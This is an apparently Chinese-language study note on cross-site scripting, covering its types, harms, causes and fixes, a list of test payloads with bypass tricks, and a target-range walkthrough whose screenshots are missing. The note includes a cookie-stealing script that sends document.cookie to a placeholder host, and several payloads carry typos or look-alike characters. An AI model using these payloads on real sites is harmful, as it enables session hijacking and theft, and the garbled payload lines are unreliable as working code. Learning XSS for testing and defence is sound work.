XSS简介
【在有XSS漏洞时,看有无其他漏洞】
-
XSS介绍:
xss跨站脚本,较合适的方式应该叫做跨站脚本攻击(Cross site scripting)。为了与层叠样式(CSS)区分,便取名XSS -
分类:
1、反射型(非持久型):攻击者事先做好攻击连接,要用户自己点击才可触发;
2、存储型(持久型):存储在数据库中,每次访问可触发;
3、DOM型:基于文本对象的一种漏洞; -
XSS危害
1、钓鱼欺骗
2、网站挂马
3、身份盗用
4、盗取用户信息:盗取用户的cookie从而获取用户身份
5、垃圾短信发送
6、劫持用户web行为
7、XSS蠕虫
- 形成原因:
由于程序员在编写代码时,未对用户输入的数据进行处理或者处理不当,从而导致恶意payload代码被执行,简单就是对非预期输入的过分信任。
漏洞挖掘与修复
- 在进行测试时,就是见框就上,但是要注意闭合标签,尤其是存储型的XSS,如果不闭合将会把站点的功能打坏!
- 常见的测试地(各种有输入输出的地方):
1、所搜框
2、URL地址栏
3、留言板
4、登录处等
- 挖掘测试的payload:
1.<script>alert(1)</script>
2.<svgonload=prompt(1);>
3.<body onload=prompt(1);>
4.<a onclick=alert(1)>
5.<img/src/onerror=alert(1)>
6.<img src=1 onerror=alert(1)>
7.<marquee/onstart=confirm(1)>
8.<a href="javascript:alert(/1/)>link</a>
9.<button/omlinck=alert(1)>
10.<audio src=1 οnlοadstart=alert(1)>
11.<iframe/οnlοad=alert(1)></iframe>
12.<video/src/οnerrοr=prompt(1);>
13.<input/οnfοcus="alert(1)"/autofocus/>
- 绕过方式:
1、大小写
2、双写
3、闭合标签
4、url编码绕过
5、空格/回车/Tab
6、双尖括号绕过
7、空字节绕过8
8、构造事件绕过
- 漏洞修复
1、输入检查:白名单、在服务器中或Javascript中实现相同的输入检查
2、输出检查:html编码、js转义
3、httponly:浏览器进制页面的JavaScript访问带有HTTPonly属性的cookie。HTTPonly解决的是XSS后的cookie劫持攻击
- 同源策略
同源策略是用于限制不同来源的资源之间的交互,在浏览器定义对不同的页面,如果主机名、协议与端口均相等,即为同源。
- 点击事件
1.onlick:单点击事件
2.ondblclick:双击点击事件
3.onmousedown:按下鼠标触发
4.onmouseup:按下鼠标松开触发
5.onmouseover:移动到对象范围上方内触发
6.onmousemove:移动触发
7.onmouseout:移开触发
8.onkeypress:按压
9.onkeyup:按压松开
10.onfocus:获得焦点触发
11.onblur:失去焦点触发
12.onchange:失去焦点且内容改变
13.onsubmit:提交触发
14.onreset:表中的reset的属性被激活触发
15.onload:页面内容完成时触发
16.onunload:页面改变时触发
17.onresize:窗口大小改变触发
18.<script>document.location="http://ip/xss/cookie.php?cookie="+document.cookie</script>
XSS实战(在线XSS靶场实战)
第一关:输入无害内容,原样输出:
进行XSS注入:
第二关:输入内容后,发现内容被写入了代码中:
发现插入的内容存在于表前内,进行标签的闭合:
第三关:输入内容,发现内容进行了输出,但代码中并无数据
发现输出在标签中,尝试闭合:
尝试闭合无效后,第一个输入框发现无法实现所需的操作,只能对第二个框下手,但下来框在界面无法进行操作,所以进行抓包处理:
第四关:在进行一系列尝试后,无法得到所需效果,进行抓包,发现存在隐藏项:
第五关:发现存在长度的设置:
进行长度的修改后:
- XSS盲注:
在进行输入后发现页面没有任何回显:
登录后台后,会弹出弹窗:
- XSS过滤
在输入语句后,发现并没有执行XSS语句,可能是语句被过滤了,所以进行大写尝试:
- XSS之htmlspecialchars
输入语句后发现没有执行XSS,而是将关键符号进行了实体化,所以尝试事件来进行注入:
输入事件后被包含在a标签中,标签输入的双引号也被替换:
所以尝试单引号:
发现多出个单引号,进行闭合:
- xss之href输出
利用为协议进行注入:
- XSS之js输出
输入后发现成为字符:
进行闭合:
成功!